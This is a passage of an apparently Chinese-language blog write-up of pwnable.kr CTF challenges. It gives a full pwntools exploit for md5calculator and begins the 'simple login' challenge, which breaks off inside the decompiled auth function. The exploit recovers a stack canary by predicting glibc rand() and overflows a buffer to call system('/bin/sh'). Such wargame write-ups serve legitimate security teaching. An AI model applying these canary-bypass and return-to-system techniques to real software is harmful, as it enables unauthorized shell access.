</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">p32</span><span class="p">(</span><span class="mh">0xdeadbeef</span><span class="p">),</span>           <span class="c1"># 5. system的返回地址（随便填，没用）</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">p32</span><span class="p">(</span><span class="n">binsh_addr</span><span class="p">)</span>            <span class="c1"># 6. ✅ system的参数：/bin/sh的地址（g_buf里的地址）</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">base64</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">&#39;/bin/sh</span><span class="se">\x00</span><span class="s1">&#39;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>还有个问题，由于python的随机函数random用的Mersenne Twister，而glibc 的 <code>rand()</code> 是线性同余算法，所以这里要保持同一种随机算法。通过<code>ctypes</code>库调用机器上的glibc。</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">ctypes</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s1">&#39;debug&#39;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">libc</span> <span class="o">=</span> <span class="n">CDLL</span><span class="p">(</span><span class="s2">&#34;libc.so.6&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;0&#39;</span><span class="p">,</span> <span class="mi">9002</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;/home/md5calculator/md5calculator&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">time</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">libc</span><span class="o">.</span><span class="n">srand</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">rands</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">10</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="c1"># 我在这里卡了很久，因为原先是range(3,10)，因为这些参数参与了运算</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="c1"># 但是我忽略了源代码中v2也被赋予了一次随机，但它没有参与运算</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1"># 这里从2开始，保持随机序列一致</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mi">10</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">rands</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">rand</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">rands</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;: &#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="n">captcha</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">,</span> <span class="n">drop</span> <span class="o">=</span> <span class="kc">True</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Captcha: &#39;</span><span class="p">,</span> <span class="n">captcha</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="c1"># captcha = v6 - v8 + v9 + v10 + v4 - v5 + v3 + v7;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="c1"># v10 = captcha - (v6 - v8 + v9 + v4 - v5 + v3 + v7);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="n">v10</span> <span class="o">=</span> <span class="n">captcha</span> <span class="o">-</span> <span class="p">(</span><span class="n">rands</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">-</span> <span class="n">rands</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">+</span> <span class="n">rands</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">+</span> <span class="n">rands</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">-</span> <span class="n">rands</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">+</span> <span class="n">rands</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">+</span> <span class="n">rands</span><span class="p">[</span><span class="mi">7</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="c1"># 防止溢出</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="n">canary</span> <span class="o">=</span> <span class="n">v10</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Canary: &#39;</span><span class="p">,</span> <span class="n">canary</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">captcha</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;me!</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="n">system</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="n">param_addr</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;g_buf&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="mi">721</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;K&#39;</span> <span class="o">*</span> <span class="mi">512</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;K&#39;</span> <span class="o">*</span> <span class="mi">12</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">system</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xdeadbeef</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">param_addr</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;/bin/sh</span><span class="se">\x00</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>哈哈哈，调试了两三天，才通，我太菜了。</p>
<p>flag：<code>M3ssing_w1th_st4ck_Pr0tector</code></p>
<h3 id="simple-login">simple login<a class="anchor" href="#simple-login">#</a></h3>
<blockquote>
<p>Can you get authentication from this server?</p>
<p>ssh <a
  href="mailto:simplelogin@pwnable.kr"
  >simplelogin@pwnable.kr</a
>
 -p2222 (pw: guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">simplelogin@ubuntu:~$ checksec simplelogin
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">[*] &#39;/home/simplelogin/simplelogin&#39;
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">    Arch:       i386-32-little
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">    RELRO:      Partial RELRO
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">    PIE:        No PIE (0x8048000)
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">simplelogin@ubuntu:~$ nc 0 9003
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">Authenticate : 123456
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">hash : 7f4d4354b07bad9fa57083653d2ae7ac
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">ls
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">simplelogin@ubuntu:~$ ./simplelogin 
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">Authenticate : 123456
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">hash : 70937deadd60264bda422003de65e350
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">simplelogin@ubuntu:~$ ./simplelogin 
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">Authenticate : 123456
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">hash : 06df17d31d3a771fbd0dd6a7feb73533
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>返回的哈希每次不一样。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">char</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [esp+4h] [ebp-3Ch]
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [esp+18h] [ebp-28h] BYREF
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="n">_BYTE</span> <span class="n">s</span><span class="p">[</span><span class="mi">30</span><span class="p">];</span> <span class="c1">// [esp+1Eh] [ebp-22h] BYREF
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// [esp+3Ch] [ebp-4h]
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">s</span><span class="p">));</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="nf">IO_setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="nf">IO_setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="nf">_printf</span><span class="p">(</span><span class="s">&#34;Authenticate : &#34;</span><span class="p">,</span> <span class="n">v4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="c1">// 接收最多30字节的字符串
</span></span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">_isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%30s&#34;</span><span class="p">,</span> <span class="n">s</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="c1">// 清空input，长度12，应该是全局变量
</span></span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">input</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0xCu</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="n">v5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="c1">// 把s解码后的长度存到v7，解码后的数据地址存到v5
</span></span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="n">v7</span> <span class="o">=</span> <span class="nf">Base64Decode</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="c1">// 大于12就出错
</span></span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v7</span> <span class="o">&gt;</span> <span class="mh">0xC</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="nf">IO_puts</span><span class="p">(</span><span class="s">&#34;Wrong Length&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">      <span class="c1">// 从v5复制v7个字节到input
</span></span></span><span class="line"><span class="ln">26</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="nf">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">input</span><span class="p">,</span> <span class="n">v5</span><span class="p">,</span> <span class="n">v7</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">      <span class="c1">// v7传入auth，然后判定
</span></span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="nf">auth</span><span class="p">(</span><span class="n">v7</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">      <span class="nf">correct</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="n">_BOOL4</span> <span class="kr">__cdecl</span> <span class="nf">auth</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">  <span class="n">_BYTE</span> <span class="n">v2</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span> <span class="c1">// [esp+14h] [ebp-14h] BYREF
</span></span></span><span class="line"><span class="ln">38</span><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">s2</span><span class="p">;</span> <span class="c1">// [esp+1Ch] [ebp-Ch]
</span></span></span><span class="line"><span class="ln">39</span><span class="cl">  <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [esp+20h] [ebp-8h] BYREF
</span></span></span><span class="line"><span class="ln">40</span><span class="cl">
</span></span><span class="line"><span class="ln">41</span><span class="cl">    <span class="c1">// 把input指向的值复制a1个字节到v4指向的值
</span></span></span><span class="line"><span class="ln">42</span><span class="cl">  <span class="nf">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v4</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">input</span><span class="p">,</span> <span class="n">a1</span><span class="p">);</span>
